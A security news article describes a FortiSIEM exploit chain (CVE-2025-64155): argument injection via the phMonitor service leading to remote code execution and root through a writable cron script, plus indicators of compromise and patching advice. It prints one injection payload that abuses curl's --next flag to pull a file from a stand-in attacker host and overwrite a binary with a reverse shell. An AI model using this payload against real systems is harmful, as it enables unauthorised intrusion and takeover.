Critical FortiSIEM Vulnerability(CVE-2025-64155) Enable Full RCE

Fortinet issued an advisory in August 2025 for CVE-2025-25256, an OS command injection vulnerability (CWE-78) affecting FortiSIEM. This flaw exposed the platform to unauthenticated remote code execution through crafted CLI requests.

Practical exploits surfaced in the wild, prompting security firm Horizon3.ai to conduct a deep investigation. Their analysis uncovered a devastating chain: an unauthenticated argument injection vulnerability enabling arbitrary file writes and RCE as the admin user, paired with a file overwrite privilege escalation to root access.

Fortinet assigned these CVE-2025-64155 under FG-IR-25-772. A proof-of-concept exploit is available on GitHub.

This marks another chapter in FortiSIEM’s vulnerability saga for Horizon3.ai researchers, who have dissected the platform for years. Prior disclosures include CVE-2023-34992 (phMonitor command injection) and CVE-2024-23108 (second-order injection), detailed in their deep dives.

Although not listed in CISA’s Known Exploited Vulnerabilities catalog, leaked Black Basta ransomware chats from earlier in 2025 referenced these flaws, indicating threat actor interest.

FortiSIEM Architecture and phMonitor Exposure

FortiSIEM supports varied deployments: all-in-one servers or supervisor-collector models, where the phMonitor service handles inter-role communication over TCP/IP port 7900.

This service processes custom API messages without authentication, mapping commands to handlers via integers in phMonitorProcess::initEventHandler. Past hardening reduced exposure, but vulnerabilities persist.

CVE-2025-64155 targets handleStorageRequest with “elastic” storage type. User-controlled XML tags like cluster_name and cluster_url feed into /opt/phoenix/phscripts/bin/elastic_test_url.sh.

Despite subprocess.run() wrappers and wrapShellToken escaping, the script’s curl invocation via execve allows argument injection.

By leveraging curl’s obscure –next flag, attackers chain requests: <cluster_url>http://attacker:9200 –next -o /opt/phoenix/bin/phLicenseTool http://attacker:9200</cluster_url>.

This overwrites phLicenseTool executed every few seconds as a reverse shell, yielding admin access.

Admin shells pave the way to root via cronjob abuse. The root crontab /etc/cron.d/fsm-crontab runs /opt/charting/redishb.sh every minute, writable by admin despite root execution. Overwriting it with a payload grants full compromise.

Indicators of Compromise

Monitor /opt/phoenix/log/phoenix.logs for PHL_ERROR entries logging elastic_test_url.sh abuse, including malicious URLs and target files (e.g., phLicenseTool overwrites).

Fortinet urges upgrades and port 7900 restrictions. Organizations should audit logs and patch immediately amid rising SIEM targeting.

Disclaimer: HackersRadar reports on cybersecurity threats and incidents for informational and awareness purposes only. We do not engage in hacking activities, data exfiltration, or the hosting or distribution of stolen or leaked information. All content is based on publicly available sources.